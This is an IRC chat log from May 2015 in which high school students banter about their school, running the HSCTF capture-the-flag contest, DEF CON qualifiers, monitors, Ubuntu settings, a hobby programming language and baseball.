[2015-05-03T15:20:12-0400] <+awe> Maybe WarioWare
[2015-05-03T15:20:29-0400] <LittleBobbyTables> Soul Caliber?
[2015-05-03T15:20:51-0400] <jwoglom> Tamini: fwiw, expats only started because we were all kinda annoyed with #tjhsst, and sort of developed into a friend group later
[2015-05-03T15:21:03-0400] <jwoglom> no harm in trying to start a channel/group/whatever of people you like :P
[2015-05-03T15:21:38-0400] <Tamini> i dont like a significant number of current student sysadmins is my issue
[2015-05-03T15:21:42-0400] <Tamini> because I dont really know them much, but still
[2015-05-03T15:22:12-0400] <LittleBobbyTables> https://xkcd.com/705/
[2015-05-03T15:22:19-0400] <LittleBobbyTables> If they're not that kind of sysadmin, they're bad.
[2015-05-03T15:22:42-0400] <jwoglom> honestly as an organization we're dying out
[2015-05-03T15:22:50-0400] <jwoglom> not much is being done, and andrew cares a lot less now
[2015-05-03T15:22:57-0400] <LittleBobbyTables> It's cause you guys don't have me
[2015-05-03T15:23:55-0400] <Tamini> from what i hear there's only like 5 of you that does things so
[2015-05-03T15:25:37-0400] <Tamini> also 
[2015-05-03T15:25:42-0400] <Tamini> it seems like everything is going to shit our year
[2015-05-03T15:25:42-0400] <Tamini> sucks
[2015-05-03T15:25:51-0400] <jwoglom> there's a split between who's technically considered "sysadmins" and who actually does work
[2015-05-03T15:26:02-0400] <jwoglom> in terms of who actually does stuff, it's basically fox sam and I
[2015-05-03T15:26:09-0400] <jwoglom> with timtim and pierce being understudies
[2015-05-03T15:26:19-0400] <Tamini> dude i love timtim
[2015-05-03T15:26:21-0400] <jwoglom> and yeah...TJ has changed a lot and it's getting worse
[2015-05-03T15:26:22-0400] <Tamini> he's so fun to abuse
[2015-05-03T15:26:25-0400] <Tamini> and meh
[2015-05-03T15:26:42-0400] <Tamini> basically we're when everything dies
[2015-05-03T15:27:16-0400] <+awe> LittleBobbyTables: those are the only kinds of sysadmins that matter.
[2015-05-03T15:27:18-0400] <z3t> Woodson APCS scores > TJ APCS scores this year (prediction)
[2015-05-03T15:27:53-0400] <+awe> My genitals > TJHSST
[2015-05-03T15:27:54-0400] <jwoglom> Tamini: how do you think so exactly?
[2015-05-03T15:28:05-0400] <jwoglom> er *why
[2015-05-03T15:28:10-0400] <Tamini> i can't think of specifics but
[2015-05-03T15:28:22-0400] <Tamini> our year is when everything started changing for the worse, I think
[2015-05-03T15:28:37-0400] <jwoglom> like when we were freshman?
[2015-05-03T15:28:51-0400] <LittleBobbyTables> You must have some damn good genitals, awe.
[2015-05-03T15:29:02-0400] <+awe> LittleBobbyTables: they're the highest ranking in the country. ;)
[2015-05-03T15:29:05-0400] <jwoglom> it's basically all because renovation, honestly
[2015-05-03T15:29:14-0400] <jwoglom> imo
[2015-05-03T15:29:59-0400] <jwoglom> like, the fact that traditions/etc are being lost can be all traced back to that i think
[2015-05-03T15:30:06-0400] <jwoglom> just the fact that everything is so isolated
[2015-05-03T15:30:53-0400] <Tamini> and increasingly so
[2015-05-03T15:31:01-0400] <Tamini> i guess 
[2015-05-03T15:31:08-0400] <Tamini> but school itself is changing too 
[2015-05-03T15:31:15-0400] <Tamini> and student quality seems to be deteriorating too
[2015-05-03T15:31:37-0400] <jwoglom> that too
[2015-05-03T15:31:52-0400] <jwoglom> although that's FCPS' fault and TJ administration can't do anything about it sadly
[2015-05-03T15:31:58-0400] <LittleBobbyTables> Let's be honest, everyone looks bad after talking to me ;)
[2015-05-03T15:32:22-0400] <z3t> blame FCPS
[2015-05-03T15:32:25-0400] <z3t> I see how it is jwoglom 
[2015-05-03T15:32:38-0400] <jwoglom> I've found it pretty interesting being here during the renovation process, just because it's been logistical magic
[2015-05-03T15:32:52-0400] <jwoglom> but i kind of wish I was here either right before it started or right after it was done
[2015-05-03T15:33:45-0400] <jwoglom> right now TJ is basically a school in transition, yeah
[2015-05-03T15:34:07-0400] <z3t> you could like drop out and come to Woodson :D
[2015-05-03T15:34:56-0400] <jwoglom> nah
[2015-05-03T15:35:06-0400] <jwoglom> my base school is robinson anyways
[2015-05-03T15:35:15-0400] <jwoglom> and they're an IB school which is meh
[2015-05-03T15:35:23-0400] <jwoglom> also, like, it's too late now even if i wanted to
[2015-05-03T15:35:24-0400] <z3t> ew robinson
[2015-05-03T15:35:27-0400] <LittleBobbyTables> You could drop out and go to college.
[2015-05-03T15:35:38-0400] <jwoglom> i don't have a completed HS diploma
[2015-05-03T15:35:45-0400] <+awe> >implying you need a HS diploma
[2015-05-03T15:35:54-0400] <jwoglom> colleges would like to see that i would think
[2015-05-03T15:35:58-0400] <+awe> Nope.
[2015-05-03T15:36:04-0400] <jwoglom> although I guess i could pull a belin...
[2015-05-03T15:36:08-0400] <+awe> I didn't have to present my high school diploma.
[2015-05-03T15:36:09-0400] <z3t> source: awe dropped out of HS
[2015-05-03T15:36:11-0400] <jwoglom> he was a TJ student (class of 2014)
[2015-05-03T15:36:17-0400] <jwoglom> dropped out after freshman year
[2015-05-03T15:36:19-0400] <jwoglom> got a GED
[2015-05-03T15:36:23-0400] <jwoglom> works for a govmt contractor
[2015-05-03T15:36:30-0400] <jwoglom> that's really unusual
[2015-05-03T15:36:35-0400] <+awe> The GED is a two day exam, and if you finish it in the first day, you don't have to come back.
[2015-05-03T15:36:48-0400] <jwoglom> it's just, like, I like TJ
[2015-05-03T15:36:53-0400] <+awe> So, you can just take the GED, finish it in a day because you're smart, and then go to college. :p
[2015-05-03T15:37:02-0400] <jwoglom> the environment around it is just changing
[2015-05-03T15:40:48-0400] <LittleBobbyTables> It's because of the internet
[2015-05-03T15:40:57-0400] <LittleBobbyTables> Kids are getting more immature and arrogant
[2015-05-03T15:41:05-0400] <jwoglom> TJ's had an internet connection since the early 90s :P
[2015-05-03T15:41:22-0400] <LittleBobbyTables> Most of those kids weren't born then
[2015-05-03T15:41:33-0400] <LittleBobbyTables> Nor was there the mass media on there that is now
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[2015-05-03T16:10:39-0400] <JacobEdelman> making hsctf is fun
[2015-05-03T16:10:56-0400] <JacobEdelman> I have a problem who's working name was "Troll"
[2015-05-03T16:11:05-0400] <JacobEdelman> its awesome
[2015-05-03T16:13:58-0400] <z3t> JacobEdelman: can you shadowban "1064cbread" and "in/sa/ne" in hsctf
[2015-05-03T16:18:12-0400] <JacobEdelman> no
[2015-05-03T16:18:14-0400] <JacobEdelman> instead
[2015-05-03T16:18:17-0400] <JacobEdelman> we will troll them
[2015-05-03T16:41:01-0400] <LittleBobbyTables> Give them impossible p roblems
[2015-05-03T16:42:59-0400] <z3t> or give them a fake cloudflare error in the last 48 hours of it
[2015-05-03T16:44:36-0400] <Tamini> i think 1064cbread should not play so raelly can win again :>
[2015-05-03T16:44:40-0400] <Tamini> or they should play and we can win again anyway
[2015-05-03T16:46:01-0400] • kenzierocks: lurks
[2015-05-03T16:46:19-0400] <kenzierocks> we're doing defcon anyways
[2015-05-03T16:49:49-0400] <Tamini> oh right
[2015-05-03T16:54:36-0400] <z3t> oh good
[2015-05-03T16:59:50-0400] <LittleBobbyTables> I'm doing hsctf under a high school name
[2015-05-03T17:00:02-0400] <+awe> I hope you win, LittleBobbyTables.
[2015-05-03T17:00:13-0400] <LittleBobbyTables> ^_^
[2015-05-03T17:00:44-0400] <JacobEdelman> LittleBobbyTables: .... 
[2015-05-03T17:00:50-0400] <LittleBobbyTables> lol
[2015-05-03T17:01:02-0400] <ubuntor> defcon quals :D
[2015-05-03T17:01:28-0400] <JacobEdelman> what are the days for defcon quals?
[2015-05-03T17:01:37-0400] <JacobEdelman> cause raelly joined halfway through the first hsctf
[2015-05-03T17:01:38-0400] <JacobEdelman> and won
[2015-05-03T17:01:39-0400] <LittleBobbyTables> 28th I think?
[2015-05-03T17:01:45-0400] <Tamini> two days left 
[2015-05-03T17:01:46-0400] <Tamini> yolo
[2015-05-03T17:01:50-0400] <LittleBobbyTables> 16-17
[2015-05-03T17:01:55-0400] <Tamini> dude i love raelly with every fiber of my being
[2015-05-03T17:02:05-0400] <LittleBobbyTables> That's like
[2015-05-03T17:02:06-0400] <JacobEdelman> so, people would miss one day for defcon
[2015-05-03T17:02:07-0400] <LittleBobbyTables> 2 fibers
[2015-05-03T17:02:11-0400] <Tamini> yes'
[2015-05-03T17:02:11-0400] <LittleBobbyTables> From such a tiny person
[2015-05-03T17:02:14-0400] <JacobEdelman> easily recoverable
[2015-05-03T17:02:30-0400] <LittleBobbyTables> Qualifications begin 	Midnight UTC, May 16 	1431734400
[2015-05-03T17:02:30-0400] <LittleBobbyTables> Qualifications end 	Midnight UTC, May 18 	1431907200
[2015-05-03T17:02:32-0400] <JacobEdelman> LittleBobbyTables: what? Tamini crazy tall
[2015-05-03T17:02:38-0400] <LittleBobbyTables> I'm probably doing Defcon as well
[2015-05-03T17:02:41-0400] <JacobEdelman> she's like, 6 foot 2 or something
[2015-05-03T17:02:44-0400] <z3t> JacobEdelman: make it so if you don't score in the first 24 hours you can't compete :P
[2015-05-03T17:02:44-0400] <LittleBobbyTables> with work mates + someone who won
[2015-05-03T17:02:52-0400] <JacobEdelman> z3t: lol
[2015-05-03T17:03:08-0400] <LittleBobbyTables> Everyone will just sign up, do the survey for ez points, then wait
[2015-05-03T17:03:14-0400] <JacobEdelman> yeah
[2015-05-03T17:03:14-0400] <+awe> z3t: then they'd just do one easy problem at the beginning
[2015-05-03T17:03:41-0400] <Hyper> JacobEdelman: don't ban in/sa/ne :(
[2015-05-03T17:03:44-0400] <Hyper> they're stuy :(
[2015-05-03T17:04:19-0400] <JacobEdelman> Hyper: don't worr
[2015-05-03T17:04:20-0400] <JacobEdelman> *woyy
[2015-05-03T17:04:22-0400] <JacobEdelman> *worry
[2015-05-03T17:04:30-0400] <+awe> Ban all specialized STEM high schools. ;)
[2015-05-03T17:04:40-0400] <JacobEdelman> I need them to have some hope of winning so they have an incentive to do my problems even as the problems relentelly troll them
[2015-05-03T17:05:00-0400] <JacobEdelman> awe: sadly, that was  like ~1/2 our audience last year 
[2015-05-03T17:05:05-0400] <+awe> I'm aware.
[2015-05-03T17:05:13-0400] <JacobEdelman> also
[2015-05-03T17:05:21-0400] <JacobEdelman> dos pueblos is not a specialized stem high school
[2015-05-03T17:05:30-0400] <+awe> Dos Pueblos Engineering Academy is.
[2015-05-03T17:05:43-0400] <JacobEdelman> yeah, but they are not an hs
[2015-05-03T17:05:52-0400] <JacobEdelman> also
[2015-05-03T17:05:56-0400] <+awe> Yes, they are.
[2015-05-03T17:06:04-0400] <+awe> They're a high school.
[2015-05-03T17:06:04-0400] <JacobEdelman> oh, okay
[2015-05-03T17:06:55-0400] <Hyper> JacobEdelman: why do you want to troll them?
[2015-05-03T17:07:47-0400] <kenzierocks> awe: trust me engineering academy is horrible
[2015-05-03T17:08:02-0400] <Hyper> q.q no answer
[2015-05-03T17:08:48-0400] <z3t> anyone have recommendations for what monitor to buy for ~$100-200
[2015-05-03T17:09:26-0400] <+awe> kenzierocks: I know someone who went there and then went to Princeton.
[2015-05-03T17:11:48-0400] <JacobEdelman> HYper: cause
[2015-05-03T17:11:52-0400] <JacobEdelman> *Hyper
[2015-05-03T17:11:56-0400] <JacobEdelman> why else do you run a ctf?
[2015-05-03T17:12:02-0400] <JacobEdelman> besides trolling hs students
[2015-05-03T17:12:04-0400] <JacobEdelman> :P
[2015-05-03T17:12:05-0400] <jwoglom> z3t: do you want 1080p? or more?
[2015-05-03T17:12:05-0400] <Hyper> to challenge people with interesting problems?
[2015-05-03T17:12:11-0400] <JacobEdelman> nah
[2015-05-03T17:12:14-0400] <JacobEdelman> thats what you tell yourself
[2015-05-03T17:12:17-0400] <Hyper> JacobEdelman: I mean I know 3/5 members of in/sa/ne
[2015-05-03T17:12:18-0400] <JacobEdelman> then you run the comeptition
[2015-05-03T17:12:19-0400] <Hyper> so xP
[2015-05-03T17:12:28-0400] <Hyper> i'm totes down with trolling them
[2015-05-03T17:12:44-0400] <JacobEdelman> and the sweet pain of people striving to solve problems, with the tiniest bit of hope left due to a few solves
[2015-05-03T17:12:51-0400] <Hyper> that's why poly joined stuyctf a few weeks ago and decimated the competition before dropping to 4th so we wouldn't actually win prizes
[2015-05-03T17:12:59-0400] <JacobEdelman> lol
[2015-05-03T17:13:22-0400] <JacobEdelman> there was one ctf
[2015-05-03T17:13:28-0400] <JacobEdelman> that the organizers entered at the last minute
[2015-05-03T17:13:31-0400] <JacobEdelman> just to troll people
[2015-05-03T17:13:32-0400] <JacobEdelman> :P
[2015-05-03T17:13:44-0400] <z3t> jwoglom: 1080 is fine
[2015-05-03T17:14:50-0400] <jwoglom> z3t: i'd say just buy the cheapest good monitor you can get, honestly :P
[2015-05-03T17:15:09-0400] <jwoglom> like damn this is only $99 http://www.amazon.com/Acer-G226HQL-Bbd-21-5-inch-Widescreen/dp/B009POS0GS
[2015-05-03T17:22:24-0400] <z3t> doesn't have HDMI
[2015-05-03T17:23:05-0400] <z3t> probably gonna get http://www.amazon.com/BenQ-GL2460HM-24-Inch-LED-Lit-Monitor/dp/B00IKDFL4O/
[2015-05-03T17:23:28-0400] <jwoglom> yeah
[2015-05-03T17:23:33-0400] <jwoglom> for $100 not too bad though
[2015-05-03T17:25:24-0400] <JacobEdelman> Here's an awesome monitor
[2015-05-03T17:25:49-0400] <JacobEdelman> Sammy Berger working in hsctf https://usercontent.irccloud-cdn.com/file/yumRRXSK/IMG_20150503_172449.jpg
[2015-05-03T17:25:53-0400] <JacobEdelman> *on
[2015-05-03T17:26:12-0400] <+awe> He's playing Yugioh.
[2015-05-03T17:26:39-0400] <JacobEdelman> maybe....
[2015-05-03T17:26:39-0400] <jwoglom> i've still got a dell 1024x768 flat panel monitor
[2015-05-03T17:26:50-0400] <JacobEdelman> but don't you like the setup?
[2015-05-03T17:26:54-0400] <JacobEdelman> one unplugged monitor
[2015-05-03T17:27:02-0400] <JacobEdelman> one awesomely good monitor
[2015-05-03T17:27:10-0400] <JacobEdelman> flat, really high p
[2015-05-03T17:27:13-0400] <JacobEdelman> its really good
[2015-05-03T17:27:17-0400] <JacobEdelman> and my old computer
[2015-05-03T17:27:21-0400] <JacobEdelman> duct taped together
[2015-05-03T17:27:32-0400] <ubuntor> is that a salvaged laptop keyboard?
[2015-05-03T17:27:33-0400] <JacobEdelman> with its broken screen
[2015-05-03T17:27:35-0400] <JacobEdelman> no
[2015-05-03T17:27:38-0400] <JacobEdelman> thats a laptop
[2015-05-03T17:27:44-0400] <JacobEdelman> no hingest
[2015-05-03T17:27:48-0400] <ubuntor> oh, just a broken screen
[2015-05-03T17:27:49-0400] <JacobEdelman> literally ducktaped together
[2015-05-03T17:27:51-0400] <JacobEdelman> its my old laptop
[2015-05-03T17:28:18-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/0BTb3vcL/irccloudcapture1742231782.jpg
[2015-05-03T17:28:30-0400] <ubuntor> nice
[2015-05-03T17:28:46-0400] <JacobEdelman> :P
[2015-05-03T17:35:35-0400] <z3t> oh boy
[2015-05-03T17:35:45-0400] <z3t> my bot just posted a comment supporting rape....
[2015-05-03T17:36:01-0400] <z3t> I really need to figure out how to filter stuff like that
[2015-05-03T17:36:09-0400] <kenzierocks> wat
[2015-05-03T17:37:13-0400] <JacobEdelman> ...
[2015-05-03T17:37:25-0400] <JacobEdelman> I wanna see the bot
[2015-05-03T17:37:38-0400] <LittleBobbyTables> I do too
[2015-05-03T17:37:43-0400] <+awe> z3t: did he get upvotes?
[2015-05-03T17:37:59-0400] <z3t> yes actually...
[2015-05-03T17:38:05-0400] <jwoglom> what was the comment?
[2015-05-03T17:38:30-0400] <z3t> not quoting it directly cuz search engines
[2015-05-03T17:40:04-0400] <+awe> General gi st?
[2015-05-03T17:40:05-0400] <+awe> gist*
[2015-05-03T17:41:08-0400] <kenzierocks> gist.github.com
[2015-05-03T17:41:15-0400] <z3t> ^
[2015-05-03T17:41:17-0400] <+awe> kenzierocks: you are hilarious.
[2015-05-03T17:41:26-0400] <+awe> z3t: I'm curious. What was the general gist of the comment?
[2015-05-03T17:41:46-0400] <jwoglom> or you could send a gist with the comment
[2015-05-03T17:42:15-0400] <kenzierocks> jwoglom++
[2015-05-03T17:47:22-0400] <z3t> https://gist.github.com/anonymous/304a6447b105b8706b70
[2015-05-03T17:47:48-0400] <jwoglom> comment
[2015-05-03T17:48:17-0400] <JacobEdelman> gusy
[2015-05-03T17:48:19-0400] <JacobEdelman> I improved it
[2015-05-03T17:48:21-0400] <JacobEdelman> *guys
[2015-05-03T17:48:26-0400] <JacobEdelman> you shoudl use my fork
[2015-05-03T17:48:38-0400] <JacobEdelman> https://gist.github.com/JacobEdelman/556983bc5339f9742ac1
[2015-05-03T17:48:46-0400] <JacobEdelman> its way better than z3t's version
[2015-05-03T17:48:49-0400] <JacobEdelman> more features
[2015-05-03T17:48:53-0400] <JacobEdelman> my well rounded
[2015-05-03T17:48:55-0400] <JacobEdelman> *more
[2015-05-03T17:48:59-0400] <JacobEdelman> better typography
[2015-05-03T17:49:03-0400] <jwoglom> nah i think mine is better
[2015-05-03T17:49:06-0400] <JacobEdelman> and its freerer
[2015-05-03T17:50:43-0400] <JacobEdelman> Oh, I gots an idea
[2015-05-03T17:51:19-0400] <z3t> revisions: 4
[2015-05-03T17:51:21-0400] <z3t> -_-
[2015-05-03T17:54:54-0400] <+awe> Neither of you respect my freedom because neither of you end your files with newlines.
[2015-05-03T17:55:47-0400] • kenzierocks: does
[2015-05-03T17:56:31-0400] <+awe> kenzierocks: do you use freedom quotes?
[2015-05-03T17:56:46-0400] <+awe> kenzierocks: It's only free software if you quote things like ``this''.
[2015-05-03T17:57:17-0400] <kenzierocks> no
[2015-05-03T17:57:23-0400] <kenzierocks> "``
[2015-05-03T17:57:42-0400] <+awe> I see you, JacobEdelman: https://www.dropbox.com/s/bqh61g3l6gqzw3o/Screenshot%202015-05-03%2017.57.38.png?dl=0
[2015-05-03T17:57:57-0400] <alokpathy> That's like liking your own FB status.
[2015-05-03T17:58:37-0400] <JacobEdelman> https://gist.github.com/JacobEdelman/e5ddc4cf28fa4978178d
[2015-05-03T17:59:11-0400] <JacobEdelman> I will in star it as long as there are 3 or more other stars
[2015-05-03T18:00:37-0400] <JacobEdelman> *un
[2015-05-03T18:08:35-0400] <z3t> why 3
[2015-05-03T18:09:20-0400] <JacobEdelman> Cause then I have a net gain
[2015-05-03T18:18:59-0400] <+awe> JacobEdelman: who is this person who starred lark?
[2015-05-03T18:20:57-0400] <LittleBobbyTables> His other account
[2015-05-03T18:25:14-0400] <z3t> ;p;
[2015-05-03T18:39:27-0400] <fwilson> False = False
[2015-05-03T18:39:29-0400] <fwilson> oh god
[2015-05-03T18:39:32-0400] <fwilson> JacobEdelman what have you done
[2015-05-03T18:39:36-0400] <JacobEdelman> its not that bad
[2015-05-03T18:39:44-0400] <Hyper> JacobEdelman: it's that bad.
[2015-05-03T18:39:51-0400] <JacobEdelman> you know what
[2015-05-03T18:39:55-0400] <JacobEdelman> I'll add some sugar
[2015-05-03T18:40:16-0400] <JacobEdelman> to declare types expressions
[2015-05-03T18:40:22-0400] <JacobEdelman> so you don't need to look at that in horror
[2015-05-03T18:40:33-0400] <JacobEdelman> actually
[2015-05-03T18:40:39-0400] <JacobEdelman> I should probably do more than add sugar
[2015-05-03T18:40:45-0400] <JacobEdelman> maybe
[2015-05-03T18:41:13-0400] <JacobEdelman> fwilson: basicly, the programming language continues applying transformations until something does not change after a transformation
[2015-05-03T18:41:17-0400] <fwilson> oh god
[2015-05-03T18:41:20-0400] <fwilson> stop
[2015-05-03T18:41:22-0400] <fwilson> make it stop
[2015-05-03T18:41:27-0400] <JacobEdelman> but even primitive values have to be recognized as valid "functions"
[2015-05-03T18:41:28-0400] <JacobEdelman> hey
[2015-05-03T18:41:38-0400] <JacobEdelman> the underyling code is beautiful
[2015-05-03T18:41:54-0400] <fwilson> no it's not
[2015-05-03T18:41:56-0400] <fwilson> it's python 2
[2015-05-03T18:42:09-0400] <fwilson> if 2>1 1 else fib(50)
[2015-05-03T18:42:13-0400] <fwilson> JACOBEDELMAN WHAT ARE YOU DOING
[2015-05-03T18:42:26-0400] <JacobEdelman> thats a test
[2015-05-03T18:42:30-0400] <JacobEdelman> to show that it is lazy
[2015-05-03T18:42:40-0400] <JacobEdelman> if you hate the syntax 
[2015-05-03T18:42:48-0400] <JacobEdelman> then submit a pull request for that file
[2015-05-03T18:43:02-0400] <JacobEdelman> cause you can change it
[2015-05-03T18:43:46-0400] <fwilson> oh god
[2015-05-03T18:43:49-0400] <fwilson> no
[2015-05-03T18:44:14-0400] <alokpathy> fwilson: is so done
[2015-05-03T18:44:26-0400] <fwilson> no
[2015-05-03T18:44:29-0400] <fwilson> no no no
[2015-05-03T18:46:44-0400] <JacobEdelman> what is so painful?
[2015-05-03T18:46:48-0400] <JacobEdelman> honestly
[2015-05-03T18:47:04-0400] <JacobEdelman> I know people's initial reaction is that you can do broken things with the language
[2015-05-03T18:47:07-0400] <JacobEdelman> that defy logic
[2015-05-03T18:47:16-0400] <JacobEdelman> by accident
[2015-05-03T18:47:19-0400] <JacobEdelman> but you actually can't
[2015-05-03T18:47:34-0400] <JacobEdelman> I mean, you can intneitally set True = False, but you can do that in haskell too
[2015-05-03T18:47:38-0400] <JacobEdelman> and it won't even do anything here
[2015-05-03T18:47:43-0400] <JacobEdelman> cause of precedence
[2015-05-03T18:48:01-0400] <kenzierocks> do it in python
[2015-05-03T18:48:04-0400] <kenzierocks> you can't do it in java
[2015-05-03T18:48:21-0400] <z3t> JacobEdelman: this language is never going to be useful or even recognized by anyone besides yourself.
[2015-05-03T18:49:48-0400] <JacobEdelman> kenzierocks: so? I'm just trying to point out that that particular feature is not nesscarily bad
[2015-05-03T18:52:02-0400] <kenzierocks> i wasn't saying it was?
[2015-05-03T18:52:08-0400] <kenzierocks> i was saying facts
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[2015-05-03T19:17:30-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=QgNDao7m41M
[2015-05-03T19:27:20-0400] <z3t> lol LittleBobbyTables 90% of the youtube videos you post I've already seen in /r/videos
[2015-05-03T19:28:53-0400] <LittleBobbyTables> Where else would I get video's from
[2015-05-03T19:29:04-0400] <LittleBobbyTables>  /b/'s are music music
[2015-05-03T19:29:08-0400] <LittleBobbyTables> mostly music*
[2015-05-03T19:30:40-0400] <fwilson> dimension 333333
[2015-05-03T19:30:42-0400] <fwilson> literally the worst
[2015-05-03T19:34:06-0400] <fwilson> HAHA
[2015-05-03T19:34:07-0400] <fwilson> GOT IT
[2015-05-03T19:36:40-0400] <LittleBobbyTables> ?
[2015-05-03T19:37:16-0400] <fwilson> https://i.imgur.com/PlzirtS.png seriously
[2015-05-03T19:37:21-0400] <fwilson> LittleBobbyTables: ^ that sums it up pretty well
[2015-05-03T19:37:45-0400] <LittleBobbyTables> God
[2015-05-03T19:37:52-0400] <LittleBobbyTables> Have you not beaten it yet
[2015-05-03T19:39:36-0400] <z3t> does anyone know how to turn this shit off: http://puu.sh/hAuIM/e6de2d830c.png
[2015-05-03T19:40:44-0400] <LittleBobbyTables> Man, 21 questions wrong seems like a fun game
[2015-05-03T19:40:50-0400] <ubuntor> hold down the power button
[2015-05-03T19:41:11-0400] <LittleBobbyTables> Turn off what
[2015-05-03T19:41:48-0400] <LittleBobbyTables> To disable mouseover text boxes in gnome panel/menu
[2015-05-03T19:41:48-0400] <LittleBobbyTables> 1. Press Alt+F2, run gconf-editor
[2015-05-03T19:41:48-0400] <LittleBobbyTables> 2. navigate to apps/panel/global/, and uncheck "tooltips_enabled" in right. 
[2015-05-03T19:47:15-0400] <ubuntor> trash icon or tooltip?
[2015-05-03T19:48:12-0400] <ubuntor> if it's the former, modify the source code, because it's a "design feature"
[2015-05-03T19:48:58-0400] <ubuntor> otherwise, https://askubuntu.com/questions/195163/how-do-i-remove-the-tool-tips-on-the-launch-bar
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[2015-05-03T20:04:44-0400] <z3t> there's not a single file with "Name=Trash"
[2015-05-03T20:06:21-0400] <ubuntor> oh right
[2015-05-03T20:06:29-0400] <ubuntor> you'll have to modify source code then
[2015-05-03T20:06:41-0400] <z3t> fml
[2015-05-03T20:06:50-0400] <alokpathy> z3t: Or switch from Ubuntu
[2015-05-03T20:07:07-0400] <z3t> too much stuff on here for me to switch
[2015-05-03T20:07:13-0400] <z3t> lazy
[2015-05-03T20:07:13-0400] <ubuntor> https://bugs.launchpad.net/unity/+bug/628081/comments/2
[2015-05-03T20:10:00-0400] <z3t> ugh
[2015-05-03T20:13:04-0400] <Hyper> z3t: stop being a wimp and level up to arch
[2015-05-03T20:14:06-0400] <z3t> My solution was to just hide the launcher.
[2015-05-03T20:21:43-0400] <LittleBobbyTables> Just make your own OS
[2015-05-03T20:21:48-0400] <alokpathy> jwoglom: Last game of the series :o
[2015-05-03T20:21:59-0400] <Tamini> ugh you baseball fans
[2015-05-03T20:22:05-0400] <Tamini> (right sport right)
[2015-05-03T20:22:09-0400] <z3t> no
[2015-05-03T20:22:10-0400] <alokpathy> Tamini: Yes :P
[2015-05-03T20:22:15-0400] <Tamini> hey
[2015-05-03T20:22:17-0400] <z3t> alokpathy: -_-
[2015-05-03T20:22:25-0400] <alokpathy> z3t: What? :|
[2015-05-03T20:22:29-0400] <Tamini> i got through the whole season without you OR matt forcing me to watch a game! :D
[2015-05-03T20:22:40-0400] <z3t> we must exploit people's cluelessness for our own entertainment.
[2015-05-03T20:22:45-0400] <alokpathy> Tamini: The season just started :P
[2015-05-03T20:22:49-0400] <alokpathy> z3t: ?
[2015-05-03T20:22:53-0400] <z3t> -_-
[2015-05-03T20:22:54-0400] <Tamini> series
[2015-05-03T20:22:56-0400] <Tamini> oops words
[2015-05-03T20:23:39-0400] <alokpathy> z3t: We originally had a separate channel for baseball talk, but decided it wasn't worth a 2-person channel
[2015-05-03T20:23:46-0400] <alokpathy> z3t: We could migrate back if you guys want
[2015-05-03T20:25:54-0400] <z3t> when's the world series
[2015-05-03T20:26:27-0400] <jwoglom> Baseball is fun!
[2015-05-03T20:26:33-0400] <alokpathy> z3t: October
[2015-05-03T20:27:55-0400] <jwoglom> Tamini: look at how great this sport is http://gfycat.com/AjarClassicAcornweevil
[2015-05-03T20:28:07-0400] <alokpathy> lolol
[2015-05-03T20:28:21-0400] <jwoglom> It never gets old :P
[2015-05-03T20:28:29-0400] <alokpathy> I've never seen this happen XD
[2015-05-03T20:29:19-0400] <jwoglom> That was like a triple a minor league team fwiw
[2015-05-03T20:29:39-0400] <alokpathy> This is why they're not in the majors :P
[2015-05-03T20:29:49-0400] <z3t> 5 months of this shit...
[2015-05-03T20:31:37-0400] <LittleBobbyTables> of what
[2015-05-03T20:31:43-0400] <z3t> baseball talk
[2015-05-03T20:31:43-0400] <+awebot> z3t: A minute ago, LittleBobbyTables said nurd.
[2015-05-03T20:31:50-0400] <LittleBobbyTables> ah
[2015-05-03T20:31:52-0400] <LittleBobbyTables> yeah
[2015-05-03T20:31:59-0400] <LittleBobbyTables> Football starts soon
[2015-05-03T20:32:02-0400] <LittleBobbyTables> So we can outtalk them
[2015-05-03T20:32:09-0400] <z3t> wait LittleBobbyTables 
[2015-05-03T20:32:21-0400] <LittleBobbyTables> ?
[2015-05-03T20:32:21-0400] <+awebot> LittleBobbyTables: Moments ago, z3t said skid.
[2015-05-03T20:32:24-0400] <LittleBobbyTables> lol
[2015-05-03T20:34:08-0400] <jwoglom> Feel free to talk about other sports I won't mind lol
[2015-05-03T20:35:15-0400] <LittleBobbyTables> http://www.ncixus.com/products/?sku=97888&vpn=BX80646I74790K&manufacture=Intel&promoid=1151
[2015-05-03T20:37:39-0400] <LittleBobbyTables> (normally a 350 dollar cpu btw)
[2015-05-03T21:05:39-0400] <z3t> anyone have a suggestion for what python database library to use for keeping track of some simple stats 
[2015-05-03T21:06:23-0400] <LittleBobbyTables> pickle
[2015-05-03T21:06:25-0400] <LittleBobbyTables> I think
[2015-05-03T21:06:28-0400] <LittleBobbyTables> I might be wrong though
[2015-05-03T21:07:53-0400] <bob_twinkles> sqlite
[2015-05-03T21:07:57-0400] <bob_twinkles> if you want an actual database
[2015-05-03T21:08:05-0400] <bob_twinkles> pickle is fickle
[2015-05-03T21:08:27-0400] <+awe> [18:49:48]  <JacobEdelman>	kenzierocks: so? I'm just trying to point out that that particular feature is not nesscarily bad
[2015-05-03T21:08:33-0400] <+awe> JacobEdelman: Yes, we know. LISP already exists.
[2015-05-03T21:11:33-0400] <jwoglom> pickle can be useful if you don't need a full blown database, though
[2015-05-03T21:11:36-0400] <jwoglom> or just json.loads :P
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[2015-05-03T21:27:50-0400] <sdamashek> python objects though
[2015-05-03T21:31:49-0400] <Hyper> shelve, if you're a lazy mofo like me
[2015-05-03T21:31:51-0400] <fwilson> z3t: do you want a database, an ORM, or something else?
[2015-05-03T21:31:54-0400] <fwilson> i like peewee w/ sqlite
[2015-05-03T21:32:01-0400] <fwilson> makes things very nice to work with
[2015-05-03T21:32:13-0400] <z3t> just using 'anydbm'
[2015-05-03T21:46:09-0400] <JacobEdelman> Use Lark
[2015-05-03T21:46:13-0400] <JacobEdelman> :P
[2015-05-03T21:47:22-0400] <LittleBobbyTables> The language that's super slow because you're bad?
[2015-05-03T21:49:04-0400] <z3t> rekt
[2015-05-03T21:50:31-0400] <JacobEdelman> It's not that slow anymore
[2015-05-03T21:54:27-0400] <LittleBobbyTables> "that" slow
[2015-05-03T21:55:27-0400] <bob_twinkles> considering it took like minutes to perform multiplication, it would be difficult for it to remain that slow =P
[2015-05-03T21:55:47-0400] <+awe> How on earth has Netflix not already capitalized on the desire for people to watch movies together online?
[2015-05-03T21:56:07-0400] <+awe> Also, z3t, I've used solely json files with reasonable success.
[2015-05-03T21:56:10-0400] <bob_twinkles> low latency A/V sync is a bitch
[2015-05-03T21:56:13-0400] <+awe> I'd recommend sqlite for anything complex.
